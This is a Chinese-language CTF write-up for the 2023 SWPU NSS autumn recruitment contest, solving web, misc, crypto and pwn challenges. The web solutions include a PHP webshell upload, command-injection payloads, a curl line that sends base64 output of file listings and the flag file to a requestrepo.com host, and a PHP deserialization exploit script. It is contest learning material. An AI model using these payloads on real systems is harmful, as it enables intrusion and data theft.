2023年SWPU NSS 秋季招新赛 (校外赛道)
Web
colorful_snake
来玩贪吃蛇~
Ctrl+U 查看源代码,然后查看game.js
搜索if
判断语句,发现Unicode编码,解码后获得flag
NSSCTF{9f878ec3-3b75-4b0f-a4c4-2a4a116c20d1}
NSS_HTTP_CHEKER
来看看你的HTTP知识储备!
一键连接!
题目源码:
<?php
highlight_file(__FILE__);
error_reporting(0);
$md5_1 = $_GET['md5_1'];
$md5_2 = $_GET['md5_2'];
$sha1_1 = $_GET['sha1_1'];
$sha1_2 = $_GET['sha1_2'];
$new_player =$_GET['new_player'];
if ($md5_1 !== $md5_2 && md5($md5_1) === md5($md5_2)) {
if ($sha1_1 != $sha1_2 && sha1($sha1_1) === sha1($sha1_2)) {
if (file_get_contents($new_player) === "Welcome to NSSCTF!!!") {
echo "Congratulations~~~~~~~~~";
echo "试试need Antsword<br/>";
@eval($_POST['Nss']);
}else{
echo "可曾听过data协议?";
}
} else {
echo "sha1又如何相等呢";
}
} else {
echo "如何让md5值相等呢¿";
}
参考博客:SHA-1与MD5绕过 - king_kb - 博客园
使用数组绕过MD5和sha1,如果传入的不是字符串而是数组,不但sha1()函数和md5()函数不会报错,结果还会返回null,在强比较里面null=null为true绕过,可构造?md5_1[]=1&md5_2[]=2&sha1_1[]=1&sha1_2[]=2
接下来file_get_contents()
函数会检查$new_player里面的值是否为Welcome to NSSCTF!!!
,但是因为file_get_contents()
函数检查的是文件,所以我们不能单单传参Welcome to NSSCTF!!!
,这时候就需要用到data协议,让他把$new_player变成一个文件,这样才能读到内容
正常写法为:new_player=data://text/plain,Welcome to NSSCTF!!!
data协议是只要符合RFC标准,都可以认为是data协议
就是说在data中可以进行省略或者编码
甚至可以把斜杠省略,只要冒号和逗号new_player=data:,Welcome to NSSCTF!!!
接下来使用蚁剑(Antsword)链接网页木马,因为源码中有@eval($_POST['Nss']);
这句话
Nss就是连接密码
连接上去之后再根目录获得flag
NSSCTF{38839ac6-8595-4bd5-ba88-3219a5dab5ea}
ez_talk
考察文件上传漏洞
我们假设上传一个shell.php,内容为:
<?php
if($_REQUEST['s']) {
system($_REQUEST['s']);
} else phpinfo();
?>
然后使用BurpSuite抓包分析
但是不行,说明还会检测文件内容
那我们只需要在shell.php文件里添加GIF89a
,GIF的文件头,让它识别为图片然后再抓包改Conten-type即可
文件上传成功的路径被翻转了,我们翻转回来再访问
然后ls / 查看根目录,cat /flag 就获得flag了
NSSCTF{fcea8318-275a-44d7-91a6-e2f0af7d2269}
Pingpingping
首先
Ping_ip.exe
在传参的时候要换成 Ping[ip.exe
结合其他师傅博客http://t.csdn.cn/kxxHZ
因为在PHP官方文档中有解释当变量名中出现点和空格时,PHP的处理方式是
https://www.php.net/manual/zh/language.variables.external.php
然后便是使用命令联合执行的方法
参考博客:【BUUCTF】[GXYCTF2019] Ping Ping Ping 总结笔记 Writeup_ping!ping!ping!-CSDN博客
?Ping[ip.exe=123aaa|cat /f*
NSSCTF{e72cd4f2-8abd-4c3c-8baa-8b430ea6cfa3}
RCE-PLUS
根据题目提示说明考察的是无回显RCE
题目代码:
<?php
error_reporting(0);
highlight_file(__FILE__);
function strCheck($cmd)
{
if(!preg_match("/\;|\&|\\$|\x09|\x26|more|less|head|sort|tail|sed|cut|awk|strings|od|php|ping|flag/i", $cmd)){
return($cmd);
}
else{
die("i hate this");
}
}
$cmd=$_GET['cmd'];
strCheck($cmd);
shell_exec($cmd);
?>
那我们使用HTTP信道的方法
给大家推荐一个平台https://requestrepo.com/#/,这个平台可以模拟我们收发的包,模拟我们收到的一些POST、GET请求,作为一个工具平台还是比较好用的
可以看到它自动帮我们写了好多 payload了,而且还自动帮我们生成了一个 URL,这时候我们只需要发送这个 curl数据就可以了
什么是curl?curl是一个非常实用的、用来与服务器之间传输数据的工具;支持的协议包括 (DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMTP, SMTPS, TELNET and TFTP),curl设计为无用户交互下完成工作;curl提供了一大堆非常有用的功能,包括代理访问、用户认证、ftp上传下载、HTTP POST、SSL连接、cookie支持、断点续传...。Linux curl命令最全详解_筑梦悠然的博客-CSDN博客
本地不能写,也没有回显的情况下,我们用curl把数据发出去
通过http请求
注意:ping命令不会产生http请求
1.在公网服务器监听监听端口
nc -lp 3939
2.向目标服务器发起http请求,执行curl命令
curl ip:3939
如果向目标服务器发起http请求后,公网服务器监听端口得到一些信息,就证明测试点存在命令执行漏洞。
得到一些信息,证明测试点存在命令执行漏洞
接下来使用https://requestrepo.com/#/网站
给这个URL前面加个http://
然后给这个URL加个GET参数,用反引号来读取我们的值,读取FLAG
然后ls 看一下当前目录,
然后base64编码,因为它这里面可能有换行和空格之类的,我们统一编码,
然后执行
?cmd=curl http://dxc3q11g.requestrepo.com/?1=`ls | base64`
可以看到网站接收到了信息
?cmd=curl http://dxc3q11g.requestrepo.com/?1=`cat /fla? | base64`
过滤了flag就用通配符*
?
绕过
NSSCTF{aeced577-3277-460b-ab45-daf178b0853c}
UnS3rialize
题目代码:
<?php
highlight_file(__FILE__);
error_reporting(0);
class NSS
{
public $cmd;
function __invoke()
{
echo "Congratulations!!!You have learned to construct a POP chain<br/>";
system($this->cmd);
}
function __wakeup()
{
echo "W4keup!!!<br/>";
$this->cmd = "echo Welcome to NSSCTF";
}
}
class C
{
public $whoami;
function __get($argv)
{
echo "what do you want?";
$want = $this->whoami;
return $want();
}
}
class T
{
public $sth;
function __toString()
{
echo "Now you know how to use __toString<br/>There is more than one way to trigger";
return $this->sth->var;
}
}
class F
{
public $user = "nss";
public $passwd = "ctf";
public $notes;
function __construct($user, $passwd)
{
$this->user = $user;
$this->passwd = $passwd;
}
function __destruct()
{
if ($this->user === "SWPU" && $this->passwd === "NSS") {
echo "Now you know how to use __construct<br/>";
echo "your notes".$this->notes;
}else{
die("N0!");
}
}
}
if (isset($_GET['ser'])) {
$ser = unserialize(base64_decode($_GET['ser']));
} else {
echo "Let's do some deserialization :)";
}
参考博客:
- 【精选】[CTF]PHP反序列化总结_ctf php反序列化-CSDN博客
- https://fushuling.com/index.php/2023/01/15/pop%e4%b8%80%e5%91%bd%e9%80%9a%e5%85%b3/
- https://ctf.d3ic1de.club/posts/8ac6c1a1.html
EXP:
<?php
class NSS
{
public $cmd;
function __invoke() //以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用,CTF中最常见的触发情况就是出现($this–>m1)()这种形式的调用时,被处理后就可以成功调用__invoke() 6
{
echo "Congratulations!!!You have learned to construct a POP chain<br/>";
system($this->cmd);
}
function __construct()
{
$this->cmd = 'cat /f*'; // 执行命令
}
}
class C
{
public $whoami;
// function __get($argv) // 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用
// {
// echo "what do you want?";
// $want = $this->whoami;
// return $want();
// }
function __construct()
{
$this->whoami = new NSS(); // __invoke,当我们将对象调用为函数时触发
}
}
class T
{
public $sth;
function __toString() // 在类的对象被当作字符串操作的时候自动被调用,一般来说就是echo $this->f1 . ‘xxxx’;这种情况 4
{
echo "Now you know how to use __toString<br/>There is more than one way to trigger";
return $this->sth->var;
}
}
class F
{
public $user = "nss";
public $passwd = "ctf";
public $notes;
function __construct($user, $passwd) //会在创建对象时调用一次的函数 2
{
$this->user = $user;
$this->passwd = $passwd;
}
function __destruct() //对象所在的函数已调用完毕),系统自动执行析构函数 3
{
if ($this->user === "SWPU" && $this->passwd === "NSS") {
echo "Now you know how to use __construct<br/>";
echo "your notes".$this->notes;
}else{
die("N0!");
}
}
}
$nss = new NSS();
$c = new C();
$t = new T();
// 创建一个 F 类的实例,设置 user 和 passwd 属性,构造 POP 链
$f = new F("SWPU", "NSS");
// 触发__toString
$f->notes=$t;
// 触发—__get()
$t->sth=$c;
// 触发__invoke()
$c->want=$nss;
//怎么执行命令ls?
// 直接在class NSS里面设置__construct()方法
$payload = base64_encode(serialize($f));
echo $payload;
// 不能直接发包,因为要绕过__wakeup()函数,当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
// 构造 URL,将 Payload 传递给目标网站
// $url = 'http://node6.anna.nssctf.cn:28888/'; // 替换成目标网站的 URL
// $url .= '?ser=' . $payload;
// // 发送 GET 请求,触发反序列化漏洞
// $response = file_get_contents($url);
// 输出响应,应该包含 "Congratulations!!! You have learned to construct a POP chain"
// echo $response;
?>
POP链:
1.不能执行wakeUP()
unserialize()
↓↓↓
__wakeup()
↓↓↓
__construct
↓↓↓
__destruct()
↓↓↓
__toString()
↓↓↓
__get()
↓↓↓
__invoke()
绕过wakeup!
NSSCTF{24734f10-8a04-40c6-9d1d-e55be159b99d}
Misc
GIF Code
使用工具分解GIF,获得二维码其他部分,然后进行拼接http://zuohaotu.com/image-merge.aspx
NSSCTF{3f0ac91b-3e0e-a7e2-7b2a-c67cfdc093fe}
补天校园行
NSSCTF{1库币_补天定制吨吨杯_补天定制T恤/补天定制渔夫帽}
咱们玩个游戏吧
使用在线网站进行拼图http://zuohaotu.com/image-merge.aspx
扫码之后获得的数据进行URL解码
NSSCTF{mountains_and_seas_for_you}
相信他终将回来
game.exe用010打开发现是base64转图片,使用在线网站https://www.lddgo.net/convert/base64-to-image
获得一张PNG之后发现宽高被修改了,可以用010改,也可以用脚本和工具,我用风大的PNG宽高一把梭了
谁发的图片打不开啊
把文件名的10进制转化成ASCII字符获得keynssctf2023
用010打开图片,然后选择视图-->切换成脚本,就能发现emoji,结合刚才的key就是emoji-aes解密,用网站https://emoji-aes.miaotony.xyz/
NSSCTF{you_kn0w_this_emoji}
0和1还能做什么
二进制绘制二维码。使用B神脚本可以梭哈
B神脚本如下:
# 2进制绘制二维码
import os
import cv2
import time
import shutil
import argparse
import numpy as np
parser = argparse.ArgumentParser()
parser.add_argument('-f', type=str, default=None, required=True,
help='输入文件名称')
parser.add_argument('-size', type=int, default=1,
help='图片放大倍数(默认1倍)')
args = parser.parse_args()
file_path = os.path.join(args.f)
saveDir = "./out"
if os.path.exists(saveDir):
shutil.rmtree(saveDir, ignore_errors=True)
os.makedirs(saveDir)
def crete_img(bin_str):
np_arr = np.frombuffer(bin_str.encode(), dtype=np.uint8) - ord('0') # 使用 - ord('0') 将 ASCII 码值为 48 的字符 '0' 转换为整数 0,将 ASCII 码值为 49 的字符 '1' 转换为整数 1。
img = np_arr.copy()
img[img==1] = 255
invert_img = np_arr.copy()
invert_img[img==0] = 255
invert_img[img==1] = 0
return img, invert_img
if __name__ == '__main__':
size = args.size
with open(file_path, "r") as f:
bin_str = f.read().strip()
img, invert_img = crete_img(bin_str)
dic = {X: int(len(bin_str) / X) for X in range(1, len(bin_str)) if len(bin_str) % X == 0}
for row, col in dic.items():
save_img = img.reshape(row, col)
save_invert_img = invert_img.reshape(row, col)
if size > 1:
save_img = cv2.resize(save_img, None, fx=size, fy=size, interpolation=cv2.INTER_AREA)
save_invert_img = cv2.resize(save_invert_img, None, fx=size, fy=size, interpolation=cv2.INTER_AREA)
cv2.imwrite(f"./{saveDir}/{col}_{row}.png", save_img)
cv2.imwrite(f"./{saveDir}/{col}_{row}_inverse.png", save_invert_img)
print(f"[-] 宽度:{col:6} 高度:{row:6}, 已保存在运行目录out中...")
print("[-] 已经遍历完所有情况, 即将自动关闭!")
time.sleep(0.5)
根据hint查找1344*840发现flag图片,然后肉眼查看获得flag
Crypto
Caesar_base
Caesar罢了!
base64先进行凯撒7位位移,然后解base64
EasyRSA
dpdp
dp泄露,使用轩禹也可直接梭哈
import gmpy2
import libnum
n= 62950660589752377241535942010457460675378335694404721223426371627802159493655570041534480026979837056215567303530448462076388942749116962945931432723672826148999814815864738069663127706046027850586024555861960247057288826014343547293035737544457656904257388300461848219257240252715837662741274235378360898441
e= 65537
c= 26392919777656338278184497106215581599692023606797351841011065350738534402079717897589592521000832026751736045905247050532819571969784687491977953157313304550096179520376626220816081159472339787295872214912587497324709488986746768994907107727184468228540635002062232484115731701648311946527233449512543132274
dp= 7088497034630351463006975624795947102639056977565074157092915907376477955247769847204254053775159112398217033648894620506901638351932922911273150932128973
p=gmpy2.gcd(pow(2,e*dp,n)-2,n)
print(p)
for i in range(1, e):
p = (dp * e - 1) // i + 1
if n % p == 0:
q = n // p
print(p)
break
phi_n = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi_n)
m = pow(c, d, n)
print(m)
flag = libnum.n2s(int(m))
print(flag)
Classical Cipher
一只兔子翻过5层栅栏去找base玩
U2FsdGVkX19aQNEomnRqmmLlI9qJkzr0pFMeMBF99ZDKTF3CojpkTzHxLcu/ZNCYeeAV3/NEoHhpP5QUCK5Ac+HJlZBMGdKDYwko5+sAATQ=
- Rabbit解密(无key)http://www.jsons.cn/rabbitencrypt/
- 进行5层栅栏加密(我以为是解密5层>_<)https://www.qqxiuzi.cn/bianma/zhalanmima.php
- 解base64
close
题目代码:
from libnum import *
from gmpy2 import *
p=generate_prime(1024)
q=next_prime(p)
e=65537
m='NSSCTF{*******}'
m=s2n(m)
n=p*q
phi=(p-1)*(q-1)
d=invmod(e,phi)
c=pow(m,e,n)
print("n=",n)
print("e=",e)
print("c=",c)
# n= 24981376790941538042242194741227892897407513396986731688877133454927442860995432316502739082570143505514748189761926835267759902439088795405888334103808204493954060044146586606969762154041793765844462081845490598211667272961234605967919438875499785814549051002289336390400088945736443426364361032870741024016549739096474413537901098157940458928277363388694717514323106251487767419607466664175936942972759711506228656400164583540573319572125036265662330306877811831045019686459493451558882811173136631573392182233161484350878695026357462290962322316959710815852914274474767115283825849610223430527125542218326259388501
# e= 65537
# c= 20159395346151098135636315342962498279920000537186367678734614295342297238729946157173169398141183795295342421626812913110784320710149318393656661582157610182569479131625808166266400522513050071081253869746865806961410702124426021839786686971490883603141916263075756918270160269956469968815381434371042453456185750940323619568741956243054983302281739844073931738335165924679149156513059772597287311150001080524533236565521881558592378167621577532597521749930820990533120461791013359786254216859344006298715497621642857727174896969485816794718062289736382736417151820935214824518306312811267158057425922650562544599188
轩禹用yafu分离p
和q
然后常规解RSA即可
PWN
guess me
二分法猜数字,猜对获得shell
NSSCTF{d8281622-e52c-45a4-a3be-8f1aac30aa6f}